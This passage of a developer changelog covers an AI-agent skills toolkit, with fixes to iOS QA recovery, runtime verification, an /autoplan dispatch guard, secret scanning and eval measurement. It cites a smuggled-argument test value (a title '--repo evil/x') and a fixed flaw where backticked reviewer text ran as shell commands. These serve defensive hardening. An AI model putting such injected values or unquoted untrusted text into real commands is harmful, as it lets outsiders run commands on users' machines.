- **A route drop keeps the session** (#1975, finding 1). On `503 device_disconnected` or `504 upstream_timeout` the daemon re-selects the device with the same rules, re-resolves the tunnel address for the same UDID, checks the unauthenticated `/healthz` owner, and probes `/state/snapshot` with the bearer it already holds. If the app accepts it, the session continues. It bootstraps only when the app rejects the bearer (401, the app was relaunched), the app is confirmed not running (one normal launch), or a different device is now selected. The bearer is only sent to the address `devicectl` reports for that UDID, or to the address the session already used, never to another device. Concurrent failures share one recovery, and a tap or other mutation whose response was lost is still never replayed. Diagnosis by @jpb33333 in #1975; @Bmathews721 traced the same rotate-then-rebootstrap failure in #1796.
- **A failed boot-token write is loud** (#1837). `StateServer.start()` writes the 0600 token file in a `do`/`catch`, logs the path and error (never the token), logs `gstack-ios-qa-bootstrap NOT READY`, and reports `boot_token_error` on `/healthz`. The daemon turns that into `boot_token_unavailable` with the cause instead of relaunching the app. Reported by @aweevenson-sea.

#### Docs
- `/ios-qa` no longer tells you to capture the boot token from `os_log`; the token left `os_log` in v1.65.0.0. The stale comments in `StateServer` are gone too (#1837, #1735 item 7).
- Source-control guidance for the generated `DebugBridge/` package: commit it or ignore it, never hand-edit it (#1735 item 7, reported by @frank-alvarado).
- A new "Known limits" section: in-process synthesized touches do not reach SwiftUI `DragGesture` on iOS 26 and `/swipe` only scrolls a `UIScrollView` (#1975 findings 2 and 3, @jpb33333); on iOS 26.3.1 `/elements` returns only the hosting views (device data from @sternryan in #1755); iPad Stage Manager is not verified.
- The iOS how-to, README and skill index cover iPads, `GSTACK_IOS_TARGET_UDID`, and the new failure rows.

#### For contributors
- `selectDevice()` and `recoverTunnel()` in `ios-qa/daemon/src/tunnel-bootstrap.ts`; `refreshTunnel` in `startDaemon()` coalesces refreshes per failed tunnel. The CLI wiring is `deviceTunnelSource()` in `ios-qa/daemon/src/index.ts`, so tests drive exactly what the daemon runs.
- `ios-qa/daemon/test/fake-device.ts` simulates a device: a `devicectl` emulator plus a StateServer with the one-use token file, rotation, relaunch and black-holed requests.
- Pinned by `ios-qa/daemon/test/daemon-integration.test.ts` (live route drop, lost tap, concurrent drops, stopped app, Xcode relaunch, device change), `ios-qa/daemon/test/tunnel-bootstrap.test.ts` (iPad, Watch, multiple devices, recovery address and owner rules, token-write error) and `test/ios-qa-stateserver-hardening.test.ts` (no silent `try?` write, no os_log claim) on both the template and the fixture copy.
- Not verified here: Swift compilation of the changed `StateServer` (only `swiftc -parse` ran; no Apple SDK), and any iPhone or iPad run.

## [1.91.36.0] - 2026-10-07

**Python and Rails repairs can now reach `runtime_tested` and replay, and a killed verification leaves nothing behind.**

Runtime verification had four defects that the private evaluator's Lane R found on its Python, Rails and watchdog checks. First, a verified Python repair could never replay: offline preparation wrote timestamped `.pyc` bytecode, so every preparation hashed differently and `replay` reported "Replay changed verification outcomes, preparation, or provenance inputs". Second, Rails replays failed the same way, because RubyGems build logs record a random temporary directory. Third, no Rails verification could finish on a 4-vCPU host: an attempt prepares the application twice, each Rails preparation compiles native extensions for about four minutes, and the attempt watchdog, executor and assertion witness were each capped at five minutes. Fourth, after a helper was killed mid-verification, the watchdog removed every container, but `resume` and `finish` left the dead attempt's control directory and archive staging in the run directory.

### The numbers that matter

Measured on amd64 (4 vCPU) with `gstack-cso` built from 28f1385 plus these fixes, the staged runtime images from staging run 37555192492, and the evaluator's private corpus.

| Check | Before | After |
|---|---|---|
| Two Python offline preparations of the same app | prepared dependency trees differ | 0 differing files |
| One Rails offline preparation | about 245 s | unchanged |
| Rails verification attempt | ended by the 300 s watchdog during its second preparation | certifies within the 900 s bound |
| Helper SIGKILL during preparation or with the app running, then `resume` and `finish` | `preparation-execution` (and `archive-staging`) not empty | empty |

### What this means for you

Python projects locked with `requirements.txt` or `uv.lock`, and Rails projects with native gems, can now be verified and replayed. Node and Bun keep their 300-second attempt. If a verification is interrupted, `resume` now reclaims its scratch once the watchdog has recorded cleanup.

### Itemized changes

#### Fixed
- Python offline preparation sets `SOURCE_DATE_EPOCH`, so `venv`, ensurepip and pip write checked-hash `.pyc` files and two preparations of the same app produce identical trees.
- The prepared manifest and dependency hashes leave out RubyGems and mini_portile build diagnostics (`extensions/**/gem_make.out`, `extensions/**/mkmf.log`, `gems/*/ext/**/tmp/**/*.log`). These logs name random build directories and are never loaded; the compiled extensions stay in the identity.
- A Rails verification attempt and a Rails replay get 900 seconds instead of 300, still capped by the run's reporting deadline. The attempt watchdog, the Docker verification executor and the assertion witness lifetime now share that one bound (`MAX_VERIFICATION_ATTEMPT_MS`) instead of each enforcing 300 seconds. Other stacks keep 300 seconds.
- `resume` and `finish` reclaim a killed attempt's `supervision`, `preparation-execution`, `archive-staging`, `archive-materializations` and `verification` scratch. They do this under the run lock and only when no detached watchdog cleanup is still pending.

#### For contributors
- `preparedIdentityEntry()` in `lib/cso/preparation-executor.ts`, `verificationAttemptMs()` in `lib/cso/cli.ts`, `MAX_VERIFICATION_ATTEMPT_MS` in `lib/cso/contracts.ts`, and `reclaimDeadAttemptScratch()` in `lib/cso/state.ts`. They are pinned by `test/cso-preparation-executor.test.ts`, `test/cso-preparation.test.ts`, `test/cso-cli-lifecycle.test.ts`, `test/cso-witness.test.ts` and `test/cso-snapshot-state.test.ts`.

## [1.91.34.0] - 2026-10-07

**/autoplan works again on current Claude Code, including long sessions and `claude --bg`.**
**The pre-push scan and the artifacts sync stop raising false alarms, and neither got weaker.**

On Claude Code 2.1.29x, /autoplan refused every reviewer it dispatched and said "retry", which never helped. Two Claude Code changes caused it. In interactive sessions the fork-subagent setting drops `run_in_background` from the copy of the reviewer dispatch that hooks see, while the session journal keeps it, so the guard decided the call had been tampered with. Claude Code also often writes a tool call to the journal only after the hook has returned, so the guard waited two seconds for a record that never came. Sessions with a journal over 32 MiB were refused outright. The pre-push scan flagged your own email and emails already in the repo's history. One flagged file stopped the artifacts sync entirely, without telling you: one contributor's machine went 18 days without a push.

### The numbers that matter

All measured on Claude Code 2.1.292 unless marked otherwise. The paid runs are single trials.

| Check | Before | After |
|---|---|---|
| Reviewer dispatches allowed in a default interactive session | 0 (each denied, "retry") | all; the live PTY case logs 3 verified allows |
| Same, through `claude --bg` + `claude attach` | 0 | 3 verified allows |
| Largest session journal the guard accepts | 32 MiB | any size; only a single record over 32 MiB counts as too large |
| One guarded read of a 120 MiB journal (4 vCPU Linux, appending during the read) | refused | 0.43-0.87 s, 170-235 MiB peak memory |
| Resumed 102 MiB session entering Phase 1 | refused | allowed, in 70 s |
| Replay fixtures shaped like the reported timelines | 3 of 28 pass (the controls) | 28 of 28 |
| Codex reviews listing 7 and 8 High/Medium findings | reported `VERDICT: clean` | reported as findings |
| Artifacts sync with one flagged file | nothing pushes, no notice | that file waits, the rest pushes, and every skill start says so |

### What this means for you

Run `/gstack-upgrade`. No restart is needed. An /autoplan run already in progress may get one denial asking you to publish the phase report in its own message; do that and continue. You no longer need `CLAUDE_CODE_FORK_SUBAGENT=false` (keeping it is harmless). Then try `~/.claude/skills/gstack/bin/gstack-doctor` to see what's ready before you start a skill.

#### If /autoplan denied every reviewer on Claude Code 2.1.29x

The guard now ignores only the one key Claude Code drops. When the current call isn't in the journal yet, it checks the call Claude Code handed to the hook against everything already written. A phase report counts once something later in the journal follows it, so each phase now publishes its report in its own message, whose only tool call is `true autoplan-published <phase>` (no output, no permission prompt).

When Claude Code itself leaves a call impossible to check, /autoplan continues and prints a visible warning instead of blocking. That covers an unknown journal shape, a journal that never catches up, a rewritten journal, an oversized record, or a newer Claude Code that drops another key. A changed reviewer prompt, a model override, a skipped report or any other integrity problem is still refused. Every message names a code with its own section in `docs/autoplan-guard-troubleshooting.md`. If a denial still appears, the fallback is `/plan-ceo-review`, then `/plan-devex-review`, then `/plan-eng-review`; or `/context-save`, a new session, `/context-restore`, then `/autoplan <plan path>`.

#### If the pre-push hook warned on your own email

The scan no longer reports your own address (`git config user.email`) or addresses already in the destination's history: authors and committers of the commits you push, of the remote branch you replace, and, for a new branch, of that remote's other branches. Mailmapped addresses count too. Each MEDIUM finding now names its rule, file and line, never the value. Addresses that only some other remote knows still report, and HIGH secrets still block. To allow a team or support address in one repo, run `git config --add gstack.redact.allowEmail support@example.com`. If the hook says "existing-email suppression was limited for this push", it couldn't read the history within 5 seconds, so known authors may be listed that one time.

#### If artifacts sync stopped pushing

Run `~/.claude/skills/gstack/bin/gstack-brain-sync --status`. Each held file is listed with the scanner rule that matched and two fixes. Edit the file and the next skill run syncs it. If you never want it synced, run `~/.claude/skills/gstack/bin/gstack-brain-sync --skip-file <path>`; undo that with `--unskip-file <path>`. A git index lock left behind by a killed sync is now cleared once it is 10 minutes old.

### Behavior changes you may notice

- **/ship opens the PR early in repos that use Greptile.** That means a `.greptile/` folder, a `greptile.json`, or Greptile comments on PRs in the last 90 days. /ship pushes and opens a draft as soon as its tests pass, Greptile reviews while /ship runs its own checks, and /ship waits up to 10 minutes for that review, then folds the comments into the same pass. On a public repo it asks once first, and remembers your answer for that repo. If /ship stops partway, the draft stays open with a comment saying why. To keep the old order, run `~/.claude/skills/gstack/bin/gstack-config set ship_greptile_early false`.
- **Outside reviews that list findings without a tag, a severity label or a "no issues" statement show `unverified`, never `clean`.** Severity labels such as `High:` or `Severity: Medium` now count the same as `[P1]`-style tags.
- **Skills run the Codex probe as a command.** Skills rendered before this release still source it. That keeps working, but prints one line saying it is deprecated; sourcing stops working in a release on or after 2026-10-21. `/gstack-upgrade` re-renders them.
- **Browser skills offer a tab you're already signed in to** (title and origin only, for the site you named). They attach only after you confirm it once, instead of looping on "sign in again" for apps that keep the session in the tab or URL.
- **/context-restore no longer hands you an older checkpoint without saying so.** When another branch's worktree saved a newer checkpoint for the same task, restore shows both and proposes the newer one. Generic titles like "wip" need a matching ticket number. Restoring from a folder above a repo also offers saves made in that repo.

### Itemized changes

#### Added
- `bin/gstack-doctor`: one row each for install, state root, Bun, hooks, Codex (with the last cached model check and its age), artifacts sync, the browse bundle, the Claude Code version, your largest session journal, and the last five /autoplan guard codes. Each row reads ok, warn, not configured or fail, and only fail makes the exit code non-zero. Every fix line is a full path you can paste. It spends nothing unless you add `--live`. `./setup --status` gains a Codex row and ends with the doctor's path, and a new bug-report issue template asks for the doctor's output.
- `bin/gstack-post`: posts PR and issue comments, replies, titles, bodies and new PRs or issues. Every value goes to `gh` or `glab` as an argument, never through a shell string, so a title like `--repo evil/x` is posted as text. It scans exactly the bytes it sends: a credential is refused, and a MEDIUM finding needs a confirmation token tied to those exact bytes. /ship, /spec and Greptile replies post through it.
- `gstack-codex-probe` subcommands: `select-model`, `check-auth`, `show-sandbox`, `check-sandbox`, `probe-model`, `check-version`, `show-first-use-notice`, `run-with-timeout`, `log-event`, `log-hang` and `help`.
- `gstack-brain-sync --unskip-file <path>` and `--attention`. The `--status` JSON gains `held` (path, rule and fixes for each held file), `held_count`, `drainable`, `last_drain_at` and `last_push_at`.
- Every /autoplan guard decision, allow or deny, is logged without content to `~/.gstack/analytics/autoplan-guard.jsonl` (the last 1,000 lines are kept).
- `ship_greptile_early` config key (default `true`).

#### Changed
- CI runs Claude Code 2.1.292 (was 2.1.284). A daily `autoplan-schema-canary` installs the newest Claude Code release and fails when its hook payload and journal record disagree in a new way.
- Question tuning, /plan-tune and brain saves pass your words through a file. /plan-tune once again records what you said when you tune a question.
- Phase reports in /autoplan are published in their own message, before the next phase starts in a later one.

#### Fixed
- /autoplan's publication guard on Claude Code 2.1.29x, in the foreground and with `--bg`: the dropped `run_in_background` key, a current call not yet in the journal, journals over 32 MiB, and a background reviewer that finishes after the turn ended. (#3062, #3050)
- The pre-push scan's false alarms on your own email and on emails already in the repo history. MEDIUM findings now name rule, file and line. (#3060)
- Artifacts sync: one flagged file no longer blocks every push. Decision logs and their active snapshots are held together, so the remote never gets half of a pair. Every gstack writer to the sync repo shares one lock. A failed commit keeps the queue. Undecodable bytes can no longer pass the scanner as clean. The pre-commit hooks written by init and restore now catch `Bearer`/`Basic`/`Token`-prefixed JSON auth headers, like the drain does. (#3055)
- The outside-review classifier reported reviews with severity words and no `[Pn]` tags as clean.
- /context-restore picked an older checkpoint from a nested repo or a task worktree. (#3065)
- Browse cookbook: the script mistakes that look like page bugs (non-serializable `evaluate` results, a top-level `return`, `pg.press`, empty DOM reads). (#3063, #3064)
- `ship-measure report` no longer crashes on a measurement saved by v1.91.32.0; it lists that round as an older format to re-measure.
- The paid shared-code cases recognize Claude Code 2.1.292's own internal git probe, which now disables every git hook by name, instead of reading it as an unguarded git call from the skill.
- Credits in the v1.64.0.0 entry: the extension token fix (#1822) goes to @Mike-E-Log, and the polyfill `exited` promise (#1743) to @habassa5. (#3054)

#### For contributors
- The guard's reason codes, dispositions and anchors live in `autoplan/bin/guard-reasons.ts`. The journal reader is `lib/claude-owned-journal.ts` (two-pass, append-tolerant) over the shared extractor `lib/claude-journal-records.ts`, and `autoplan/bin/guard-journal.ts` holds the invocation window. A free test fails on any denial that advises a retry without naming what to do first.
- New paid cases: `autoplan-guard-pty` (gate, haiku) and `autoplan-long-session` (periodic). `autoplan-schema-canary` runs daily from `evals-periodic.yml`, or on dispatch with `schema_canary_only: true`. `scripts/measure-journal-read.ts` and the dispatch-only `measure-journal-read.yml` record read latency and memory.
- `gstack-post`, the probe subcommands and `gstack-greptile-early` are not supported on native Windows yet; their CLI tests are excluded from the curated Windows subset, and the in-process tests for `gstack-post`, Greptile detection and the doctor run there.
- Thanks to @yolo-jared and @crblabs (#3062), @akmandhania (#3060), @v639dragoon (#3055), @tomg65 (#3063, #3064, #3065), @Mike-E-Log (#3054) and @dgrant (#3020).

## [1.91.33.0] - 2026-10-06

**A red eval case now gets one clear verdict from its measurement: meets, qualified, extend once, or fix.**
**A weekly sweep measures main's flakiest gate cases before any ship hits them.**

/ship already measured a red case alone before rerunning the gate, but every 8 out of 10 was "below target", even when both reds were a provider outage. Now the measurement follows one bar. 9/10 meets it. 8/10 meets it as qualified when every red is a proven provider error, judge noise at the threshold, or a model miss with a cited transcript line. 7/10, or an 8/10 that does not qualify, gets exactly one more batch on the identical tree and is decided once on all 20 trials. Anything else, and any timeout, hang, regression or known fixable cause, is a fix round. Separately, a new weekly workflow picks the gate cases that cost the gate's all-green chance the most and measures them on main, with a hard $150-a-week cap.

### The numbers that matter

The bar numbers are binomial for a case whose true per-trial pass rate is p (rule kind, 10 trials). The sweep numbers come from `bun run scripts/ship-measure.ts sweep --dry-run` against main's pass-rate history on 2026-10-06.

| Case with true pass rate p | Clears the bar in one batch | Clears it with one extension (reds unqualified) | Clears it when every red qualifies |
|---|---|---|---|
| 0.95 (healthy) | 91.4% | 95.9% | 99.8% |
| 0.90 | 73.6% | 80.4% | 97.2% |
| 0.80 (flaky) | 37.6% | 40.8% | 75.3% |

| Sweep, latest gate census | Value |
|---|---|
| Gate verdicts in the census | 106 |
| Predicted all-green probability from history | 30.7% |
| Cases flagged (top 5 by cost to that probability) | 87% to 91% per-trial pass rate each |
| Estimated cost to measure all 5 at 10 trials | about $76, under the $150 weekly cap |

A healthy 95% case used to be sent to a pointless fix round 8.6% of the time; with one extension that drops to 4.1%, while a flaky 80% case still fails the bar about 60% of the time.

### What this means for you

When /ship's measure loop prints needs-classify, read the listed reds and record each one with `ship-measure classify`; it decides for you. A hand-picked "provider" label is refused unless the trial's own failure cause shows a provider or transport error. The weekly sweep report (artifact `ship-measure-sweep-report`, also the job summary) lists each flagged case with its decision, cost and captures, ready for an agent to fix.

### Itemized changes

#### Added
- `ship-measure classify`, `decide` and `extend`, and exit codes 5 (needs-classify) and 6 (EXTEND). EXTEND refuses to pool when any input changed (working tree, runner, Claude CLI, model, CI image, Bun, eval policy or harness version) and names the field; there is never a third batch.
- Void batches: more than 30% of trials failing on provider evidence voids a batch, which is redispatched once; both batches are reported.
- `ship-measure sweep` and `.github/workflows/eval-sweep.yml` (Mondays 12:00 UTC and on dispatch with `k`, `cap_usd` and `dry_run`). Config keys `ship_measure_sweep_cases` (5) and `ship_measure_sweep_budget_usd` (150, per 7 days, shared with every sweep that week). The workflow only reads; it never pushes or opens a pull request.

#### Changed
- Behavior cases are decided on the trial count over 12 (11 meets, 10 qualified, 9 extends; 22 and 20 of 24 pooled) instead of also requiring every panel to pass on its own; a contract violation still sends the case to a fix round at any count.
- The `ship-measure report` table shows each round's decision and batches, and lists qualified results under their own heading.

#### Fixed
- `ship-measure measure` no longer refuses a case that shares its test file with other cases (for example `ship-exploratory-late-input`): the no-cost selection check before the first paid trial now accepts the per-case trial shard such a case lists.
- `ship-measure measure` runs cases that keep native evidence (functional QA, docs faults) outside CI: each trial gets its own `EVALS_RUN_ID`, where before every trial stopped at "requires EVALS_RUN_ID" without starting a session.
- The `plan-mode-no-op` gate case no longer times out on large pull requests: its CEO review reads a fixed small plan instead of the branch diff.

#### For contributors
- The bar is one pure module, `scripts/lib/measure-bar.ts`, pinned by `test/ship-measure-bar.test.ts`; the sweep is `scripts/ship-measure-sweep.ts`, pinned by `test/ship-measure-sweep.test.ts` and `test/eval-sweep-workflow.test.ts`. `eval:pass-rates` history loading is now `loadPassRateHistory()` in `scripts/eval-flake-rank.ts`, shared with the sweep.
- Diagnostic trials still never become verdicts and never enter pass-rate history or EVAL_POLICY pooling. See `docs/TESTING_INTERNALS.md#ship-measure` and `#ship-measure-sweep`.

## [1.91.32.0] - 2026-10-06

**Codex second opinions work on macOS again, and text from a PR or reviewer can no longer run as a shell command.**
**Every failure in this wave names its real cause and the fix.**

Since v1.91.16.0, every Codex outside pass sourced from zsh (the macOS default, including Claude Code's Bash tool) reported `CODEX_MODEL: invalid`, so /ship, /review, /codex and the plan reviews ran without their outside voice. Greptile replies, the pre-existing-failure issue template and /spec's issue title put reviewer, diff and error text inside double quotes, where bash runs backticks. This release fixes both, and turns several "inconclusive" or "retry" messages into the actual cause. Contributor PRs were used as diagnosis and rewritten; each contributor is credited on the commit.

### The numbers that matter

| Check | v1.91.31.0 | v1.91.32.0 |
|---|---|---|
| `zsh -c 'source bin/gstack-codex-probe && _gstack_codex_select_model exec'` | `Module not found "/../scripts/..."`, `CODEX_MODEL: invalid` | `CODEX_MODEL: <model> (exec; source: ...)` |
| Greptile reply that quotes a commit SHA in backticks | posts "Fixed in ." and runs the SHA as a command | posts the text byte for byte |
| Codex usage-limit error at preflight | `MODEL_PROBE_INCONCLUSIVE ... proceeding`, re-probed in every skill | `CODEX_MODE: quota_exhausted` with Codex's reset line, cached 15 min |
| /autoplan in a 52 MiB session journal | `code identity`, "Retry this phase-entry tool" (forever) | `code too_large` with the size and a recovery that keeps the work |
| Weekly OSV scan | 10 findings (3 High) | no unignored findings |

### What changes for you

- **Codex works from zsh.** Sourced helpers (`gstack-codex-probe`, `gstack-egress-lib.sh`) locate themselves under bash and zsh; another shell, or a helper that cannot find itself, prints `CODEX_MODE: helper_unavailable` with a fix link instead of pretending you are logged out. Check it: `zsh -c 'source ~/.claude/skills/gstack/bin/gstack-codex-probe && _gstack_codex_select_model exec'` prints `CODEX_MODEL: <model> (...)`.
- **Codex limits are named.** A usage limit (`insufficient_quota`, "You've hit your usage limit") is `CODEX_MODE: quota_exhausted`: Codex's own line with the reset time, no more Codex calls that run, and `GSTACK_CODEX_PROBE_RETRY=1` to re-probe early. A plain rate limit (HTTP 429) is `unverified (rate_limited)` and the review still runs.
- **Free text travels as a file.** Reply bodies, issue titles and bodies, Codex prompts, design briefs and PR-body drafts are written by the agent to a private file under the project's `.gstack/tmp/` (excluded from git) and sent with `--body-file`/`-F body=@`. If the file was never written, nothing is sent and the skill prints the exact command to send it by hand. A lint fails on any free-text placeholder in a generated command.
- **/autoplan in long sessions.** Over the 32 MiB journal limit, the guard says so, with the size, and gives the recovery: `/context-save`, a new session, `/context-restore`, then `/autoplan`.
- **A red paid eval gets measured, not rerun blindly.** /ship runs the case alone (rule: 10 trials, needs 9), fixes the cause, re-measures, and runs the full gate once. It asks before spending more than $2 a trial and stops at $25 per case or 3 repair rounds (`ship_measure_*` config keys). Diagnostic trials never change a recorded verdict.
- **Setup and auto-update refuse a hook that does not parse.** Setup registers the hooks that parse and names the broken one with its file and line; team-mode auto-update holds an incoming release whose hook would not parse, so your current hooks keep running.
- **Router wording.** The root router routes only to skills in your session's skill list (skills you turned off in Claude Code are not routed to) and says when to answer directly; "When in doubt, invoke the skill" is gone. To update a CLAUDE.md that gstack wrote for you: `sed -i.bak "s/When in doubt, invoke the skill\./Route only to skills in the session's available-skills list; answer directly for quick questions or small scoped edits./" CLAUDE.md`.
- **Spawned sessions never auto-grant consent.** Granting a consent or publishing data off the machine counts as irreversible in every spawned-session directive.
- **Smaller fixes.** /autoplan names a shell-built snapshot init as the cause of its denial; Windows `browse chain` reads piped input (empty input is a usage error); Windows runtime roots run the checkout's browse server bundle (with a version-skew guard); redaction treats TypeScript types and JSX expressions as code only in TS/JSX files; /ship skips Greptile triage when there is no PR yet, saying why; /sync-gbrain no longer offers a call-graph build for a source with no code pages; Copilot on Windows runs bash blocks in Git for Windows Bash; /cso on Windows finds a trusted `docker.exe` and says native Windows Docker is not supported yet (static assessment only); a Java repo is no longer asked for `requirements.txt`; `GSTACK_DISABLE_GPU=off` enables WebGL; the config-mismatch refusal says another session started the daemon.

### For contributors

- The Codex watchdog (stock macOS, no `timeout`) freezes the command before reaping its children, so output can no longer leak after the deadline.
- Tests that call a real `codex` run it with a private HOME and CODEX_HOME; the CSO missing-scanner test points Docker at a dead socket.
- `scripts/ship-measure.ts` owns diagnostic measurement; see `docs/TESTING_INTERNALS.md#ship-measure`.
- Not verified on Windows hardware: the Windows items are exercised by the Windows CI lanes and the new isolated-install journey in `windows-setup-e2e.yml`.

## [1.91.31.0] - 2026-10-06

**Rails runtime qualification no longer fails at random when exporting the prepared app.**

Main run 37504391826 passed 9 of its 10 native qualification rows. The Rails amd64 row failed with `PREPARED_EXPORT_REJECTED (exit 70: unrecognized helper failure)`. That failure had appeared once locally before.

- **Bundler installs on one thread.** Ruby's `File.umask` getter briefly sets the process umask to 0 and then restores it, and RubyGems calls it for every file it extracts. The Rails offline step ran `bundle install --jobs 2`, so a directory created by the second install thread at that moment came out 0777. The export then refused the tree, correctly, with "prepared tree contains a publicly writable directory". The install now runs with `--jobs 1`, and the export gate is unchanged.
  - Extracting the fixture's 69 gems on two threads in the staged image left 0777 directories in 20 of 20 rounds; extracting them on one thread left none in 20 rounds.
  - Real `bundle install --jobs 2` runs of the fixture left them in 3 of 16 standalone installs and 1 of 18 full preparation runs.
  - At the app container's 0.85 CPU share, one thread installs in the same time as two.
- **The rejection reason is readable.** The helper's top-level handler prints the bare error message and exits 70, but the parser only accepted Bun's `error: ` prefix. It now accepts both forms and also reads errno-style messages, while still dropping any path.

## [1.91.30.0] - 2026-10-05

**A failed eval now says what happened, with the evidence and the next command.**
**Bun is checked before anything installs, and make-pdf and /review work in Codex.**

This release follows up on the severe fix wave. Its eight census runs had 21 red verdicts, and 27 of the 28 failed trials were labelled `assertion`, including timeouts and provider refusals, so the reports misdescribed their own failures. Now every failed trial records a machine-checked cause beside the unchanged pass/fail class, and each red line in the census report carries the expected and received values (or the judge's failing scores), the artifact holding the transcript, and a command that reruns only that case. For everyone using gstack: setup refuses a Bun too old to keep a project's `.env` away from gstack's tools, auto-update checks that before moving your checkout, and make-pdf and /review work inside Codex.

### The numbers that matter

Each row is a regression test on this release that fails on v1.91.19.0, or a measurement from the 2026-10-03/04 census artifacts named in the row.

| Check | v1.91.19.0 | v1.91.30.0 |
|---|---|---|
| make-pdf blocks on Codex that use `$P` without finding it | 7 of 8 | 0 |
| /review with a read-only `.git` (Codex's sandbox) | prints nothing, "Nothing to review" | reviews against the local base, says `stale at <rev>` |
| `./setup` with Bun 1.3.2 | installs; compiled tools read the project's `.env` | refused before writing anything |
| Census cost line when billing was not captured | `$0.00` | known sum plus "N of M trial(s) cost unknown" |
| plan-mode-no-op recorded wall (census 37151477069) | 346 s (its test times summed) | 176 s (the shard's wall) |
| Gate census slowest slice, replanned with measured walls (census 37198445662) | ~677 s | <=539 s planned |

The first three rows are the ones users feel. The last three are why the next census reports are believable: costs, times and causes now mean what they say.

### What changes for you

- **Failure reports explain themselves.** A red census line keeps its error and adds `cause <cause>: <evidence>` (refusal, API error, provider stall, session or observer timeout, assertion), Expected/Received or `dimension mean < threshold (n samples) "rationale"`, `evidence: <artifact>` and `after a repair: <command>`. Model-written text is sanitized before it reaches an issue or PR comment.
- **Bun floor and safe auto-update.** Setup refuses Bun older than 1.3.3 and warns below 1.4.0, the tested version. Team-mode auto-update and `/gstack-upgrade` read the incoming release's Bun requirement first and hold the update, leaving your install untouched, when your Bun is too old. The first update run by an older auto-updater cannot do this check.
- **make-pdf on Codex** and the other env-var hosts finds its binary in every block, and `MAKE_PDF_BIN` works there too. Install paths with spaces work.
- **/review in Codex's sandbox.** The working-tree fingerprint writes its git objects to a private temp directory, and a base that cannot be fetched is reported as stale instead of ending the review.
- **/freeze, /guard, /unfreeze and /investigate's edit boundary work on Codex** and the other env-var hosts. Their scripts used a path a global install does not have, and setup never installed `freeze/bin`; both are fixed, and /benchmark-models, /retro and /diagram find their helpers the same way.
- **`browse stop` reaps a surviving headless Chromium** again on Playwright 1.62, only for browsers gstack launched.
- **/ship's documentation gate** records post-audit file hashes with its helper instead of having the model retype them.
- **/plan-ceo-review** shows its mode line (`Mode: ...` or `Auto-decided review mode → ...`) word for word right after the mode is chosen.
- **/qa** names where its report filename parts come from and labels timing as probe budget and guarded command time. **/deslop-shared-libs** names a concrete risk for every recommendation.
- **/office-hours spec review stops when nothing blocking is left.** Each finding is blocking or minor; minor findings are recorded in Reviewer Concerns and never force another round, and the parent fixes only blocking ones between rounds. Rounds 2 and 3 re-review the exact design diff the helper captured since the last round. The reviewer returns a one-line sha256 receipt for its saved verdict instead of echoing it. Callers can lower the 3-round cap with `--max-rounds`.
- **`GSTACK_DESIGN_IMAGE_MODEL`** switches the design tool's image model (default `gpt-image-2`); a value that is not a gpt-image model name is refused before any request.

### Behavior changes you may notice

- **LLM judges pass a dimension when 2 of their 3 samples meet its threshold** (EVAL_POLICY v3, the per-dimension median; it was the mean, so one low sample beside two passing ones failed the panel). Thresholds, sample count, judge model and prompts are unchanged; panel logs still show every sample and the mean. Policy v3 and HARNESS_VERSION 2 start a new pass-rate series for every case.
- **Office-hours review verdicts are schema version 2** (`severity` and `changed_text` on every finding). An in-progress review saved by an older version is refused; start a fresh review directory.
- **Bun below 1.3.3 stops setup** with `gstack needs Bun 1.3.3 or newer`; nothing is installed. Fix: `bun upgrade`, then `./setup`.
- **Auto-update can say `update held (bun-too-old: ...)`** and `/gstack-upgrade` can stop with `BUN_TOO_OLD`; your current version keeps working. Fix: `bun upgrade`.
- **/review in a read-only checkout reports `Base coverage: stale at <revision>`** instead of stopping with "Nothing to review".
- **Browser Quick QA has a 3-minute budget** (was 30 seconds, too short for a homepage and five pages with their checkpoints).
- **/review's plan-completion question is not asked in spawned or non-interactive runs;** they report REQUIREMENTS MISSING and continue without recording anything.
- **`live-model-check.ts` ignores `GSTACK_DESIGN_MODEL`** and always checks the default models.
- **A census dispatched on a branch no longer comments on or closes main's tracking issue** (periodic and marathon). Its report goes to the run's step summary and a `census-report` (or `marathon-report`) artifact; main posts as before.
- For contributors: `bun run eval:pass-rates` rejects unknown flags and case ids (exit 2) and `--gate` also fails when a session ran above 85% of its armed budget; every `claude -p` eval session streams partial messages (only a liveness summary is kept) and writes `session-ledger.jsonl`; overlay comparisons count an overlay-off wrong answer as a measured result (contract v4); the AUQ matrix scores recommendation substance with a 3-sample judge panel.

### Itemized changes

#### Added
- `bun run eval:pass-rates --headroom` (slowest armed session per case against its budget), `--reds` (verdict reds by class and cause, with the all-green probability and its interval) and `--run <id>` (one census's reds, downloading only the slices they name); `--help` works offline.
- The weekly tracking issue shows every pass-rate alarm line (it showed only the header), the red ledger by class and cause, session headroom, the all-green probability, and a link to the new guide `docs/evals/census-red.md` (from a red census line to a diagnosis with free commands). The marathon issue closes itself on the next green main run.
- Periodic cases `codex-multiblock-live` (installs gstack for Codex into a fresh `CODEX_HOME` and runs a later /learn block that must find gstack on its own) and `design-model-smoke` (the design tool's default OpenAI models; reported as skipped without `OPENAI_API_KEY`, never as a pass).
- `docs/troubleshooting.md` sections for the Bun floor, held updates, stale /review bases, fingerprint temp-dir errors, the image model override, an unrecorded Chromium PID, and census report lines.

#### Fixed
- `bun run scripts/test-paid-shards.ts --case <id>` selects cases registered in a loop and whole-file cases such as plan-mode-no-op; it used to select nothing.
- The plan-review floor test approves its own plan-file edit when the diff preview soft-wraps unchanged lines.
- The /plan-ceo-review approach-menu eval no longer asks for "verbatim ... exact prose" output, which tripped the provider's output-extraction refusal.
- `gstack-docs-candidate --help` prints its usage and exits 0; its usage error pointed at a `--help` that failed. The docs gate fixtures declare it, and an "atomic replacement unproven" line now names the check and the tool failure that denied it.
- The prosons neutral-posture check no longer reads "a coverage call, not a taste call" as the neutral dodge.

#### For contributors
- Session ledger (`test/helpers/session-ledger.ts`), a pure failure-cause classifier beside `failureClassOf`, and one sanitizer for published text (`scripts/lib/published-text.ts`). Verdicts, `failure_class` and `error` are unchanged under EVAL_POLICY v1 (main and branch report code agree on all 15 stored census lanes).
- Replay corpora for five repeat-offender detectors in the free suite, and an audit of phrase-only detectors (`docs/evals/detector-inventory.md`). The CEO auto-decide detector credits the mode handoff only when the chat shows its line.
- Judge calibration controls (`docs/evals/judge-controls-2026-10.md`). The workflow judges passed bundles with a required step removed, so `test/workflow-required-steps.test.ts` now checks every step and phase heading of the judged workflow skills.
- Paid shard durations refreshed from census 37198445662; a JUnit case's recorded wall is capped by its shard's wall.
- The docsync fixture saves its observation interface to a file its children read instead of having the parent copy it into each child prompt.

## [1.91.29.0] - 2026-10-05

